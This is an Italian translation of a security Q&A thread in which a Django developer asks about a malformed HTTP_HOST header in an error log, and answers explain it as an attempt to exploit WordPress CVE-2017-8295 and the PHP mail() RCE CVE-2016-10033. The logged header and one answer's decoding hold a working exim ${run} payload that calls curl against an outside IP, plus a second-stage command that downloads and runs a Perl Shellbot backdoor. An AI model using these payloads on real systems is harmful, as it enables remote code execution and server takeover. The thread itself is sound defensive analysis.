Questa intestazione HTTP_HOST non valida è parte di un exploit?

25

Abbiamo ricevuto un gran numero di messaggi di errore dalla nostra applicazione django, come questo:

Invalid HTTP_HOST header: ‘target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}curl${substr{10}{1}{$tod_log}}-o${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rce${substr{10}{1}{$tod_log}}69.64.61.196${substr{0}{1}{$spool_directory}}rce.txt}} null)’. The domain name provided is not valid according to RFC 1034/1035.
...
Request information: 
GET: action = u'lostpassword'
POST: user_login = u'admin' wp-submit = u'Get New Password'
FILES: No FILES data
COOKIES: No cookie data
...

Non ho mai visto nulla di simile prima e ho difficoltà a capire cosa significa. Potrebbe essere parte di qualche exploit, o sono solo paranoico?

    
posta djvg 02.06.2017 - 12:06
fonte

3 risposte

45

Per espandere la risposta fornita da @Swashbuckler, CVE-2017-8295 si riferisce specificamente alla reimpostazione della password di WordPress con il set di intestazione HTTP HOST .

Quando WordPress invia email di reimpostazione della password, imposta From / Return-Path sul valore di $_SERVER['SERVER_NAME'] (in PHP). Questo valore è impostato da alcuni server Web (ad esempio Apache) in base all'intestazione HTTP HOST .

Ciò significa che gli utenti malintenzionati possono inviare a WordPress email con From / Return-Path impostate su un indirizzo email a loro scelta. Se l'e-mail viene rimbalzata o ha risposto a, questo accadrà a questo indirizzo e-mail dannoso e - se l'e-mail originale è stata allegata - l'attaccante avrà quindi accesso al link per la reimpostazione della password.

In realtà abusare dell'exploit richiede due fattori: il server web deve leggere il nome host dall'intestazione HOST e l'email deve essere rimbalzata o rispedita. Il primo può essere corretto dall'amministratore del server (se si utilizza Apache, impostando UseCanonicalName On ), il secondo richiede che l'hacker blocchi in qualche modo il server di posta della vittima (ad es. DoSing) o che la vittima risponda all'email.

Come sottolineato da @TerrorBite, gli attaccanti non stanno effettivamente bersagliando i link per la reimpostazione della password, ma usano solo l'errore per sfruttare un bug nella funzione% di% di% di PHP. Vedi la sua risposta qui sotto.

    
risposta data 02.06.2017 - 18:17
fonte
20

Mi sembra un tentativo di sfruttare CVE-2017-8295 .

Ecco il riepilogo del CVE:

WordPress through 4.7.4 relies on the Host HTTP header for a password-reset e-mail message, which makes it easier for remote attackers to reset arbitrary passwords by making a crafted wp-login.php?action=lostpassword request and then arranging for this message to bounce or be resent, leading to transmission of the reset key to a mailbox on an attacker-controlled SMTP server. This is related to problematic use of the SERVER_NAME variable in wp-includes/pluggable.php in conjunction with the PHP mail function. Exploitation is not achievable in all cases because it requires at least one of the following: (1) the attacker can prevent the victim from receiving any e-mail messages for an extended period of time (such as 5 days), (2) the victim's e-mail system sends an autoresponse containing the original message, or (3) the victim manually composes a reply containing the original message.

Dennis dice che stanno vedendo un sacco di richieste, quindi l'attaccante sta cercando di indovinare i nomi degli account o ha un elenco di nomi di account (magari raccolti in qualche modo) e sta provando a reimpostare le password sui conti così lui può ottenere il controllo di loro. L'utente malintenzionato sta cercando la chiave di ripristino come descritto nel CVE.

    
risposta data 02.06.2017 - 13:06
fonte
20

In realtà sembra che sia mirato allo exploit di Remote Code Execution CVE-2016-10033 in la funzione php mail() , utilizzando CVE-2017-8295 solo come un modo per inserire codice di exploit nella funzione mail() .

Il contenuto dell'intestazione dell'host HTTP è una stringa contenente valori di sostituzione che devono essere eseguiti dall'agente di trasferimento della posta exim4 . Le funzioni di sottostringa sembrano essere pensate per restituire un carattere di barra in avanti e un carattere di spazio (questo è usato per evitare che Apache filtri i caratteri della barra e si assicuri che gli spazi non suddividano l'argomento in exim4 di -be bandiera). Se li sostituiamo, finiamo con una stringa simile a questa (indirizzo IP parzialmente cancellato):

target(any -froot@localhost -be ${run{/usr/bin/curl -o/tmp/rce 69.XX.XX.196/rce.txt}} null)

Ciò comporterebbe la funzione exim4 ${run} che esegue curl per scaricare il file rce.txt .

Si noti che questo scarica solo il file. Puoi aspettarti di vedere una seconda richiesta HTTP con un'intestazione Host simile ma diversa, che invocherà bash per eseguire il file scaricato in precedenza.

Il file rce.txt a questo indirizzo, al momento della scrittura, contiene un'altra stringa della riga di comando come segue (URL e indirizzo IP parzialmente cancellati):

curl -o /tmp/wp.gif hXXp://46.XX.XX.42/website/strust.gif  && perl /tmp/wp.gif

Il file strust.gif viene rilevato come Backdoor: Perl / Shellbot.S e un La scrittura ISC SANS di questa minaccia è disponibile .

    
risposta data 03.06.2017 - 16:56
fonte

Leggi altre domande sui tag